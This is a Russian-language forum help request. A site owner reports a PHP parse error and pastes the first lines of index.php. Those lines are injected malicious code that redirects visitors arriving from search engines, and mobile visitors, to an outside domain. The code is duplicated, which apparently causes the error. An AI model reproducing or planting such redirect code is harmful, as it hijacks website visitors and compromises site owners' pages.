• Супер-предложения от ZoraHome

  • Кеширование на php If-Modified-Since

  • Помогите пожалуйста перестал работать сайт.
    Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /адрес сайта/index.php on line 7

    Вот что находится в index.php с первой по 7 строки:
    ";$to = "http://ivsenaidu.ru/?q=";if (preg_match("#(google|bing|msn|ask|aol|mail\.ru|webalta).*[\?\&]q=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[2]));exit();}
    if (preg_match("#(altavista|yahoo).*[\?\&]p=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[2]));exit();}
    if (preg_match("#yandex.*[\?\&]text=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[1]));exit();}
    if (preg_match("#(altavista|yahoo).*[\?\&]p=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[2]));exit();}
    if (preg_match("#yandex.*[\?\&]text=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[1]));exit();}
    if (preg_match("#rambler.*[\?\&]query=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[1]));exit();}echo "";$iphone = strpos($_SERVER["HTTP_USER_AGENT"],"iP");$android = strpos($_SERVER["HTTP_USER_AGENT"],"Android");$palmpre = strpos($_SERVER["HTTP_USER_AGENT"],"webOS");$berry = strpos($_SERVER["HTTP_USER_AGENT"],"BlackBerry");if ($iphone || $android || $palmpre || $berry === true){ header("Location: http://ivsenaidu.ru/");exit();}if(!empty($_POST["update"])) exit();
    if (preg_match("#rambler.*[\?\&]query=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[1]));exit();}echo "";$iphone = strpos($_SERVER["HTTP_USER_AGENT"],"iP");$android = strpos($_SERVER["HTTP_USER_AGENT"],"Android");$palmpre = strpos($_SERVER["HTTP_USER_AGENT"],"webOS");$berry = strpos($_SERVER["HTTP_USER_AGENT"],"BlackBerry");if ($iphone || $android || $palmpre || $berry === true){ header("Location: http://ivsenaidu.ru/");exit();}if(!empty($_POST["update"])) exit();  echo "";$to = "http://ivsenaidu.ru/?q=";if (preg_match("#(google|bing|msn|ask|aol|mail\.ru|webalta).*[\?\&]q=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[2]));exit();}










  • Супер-предложения от ZoraHome

  • Кеширование на php If-Modified-Since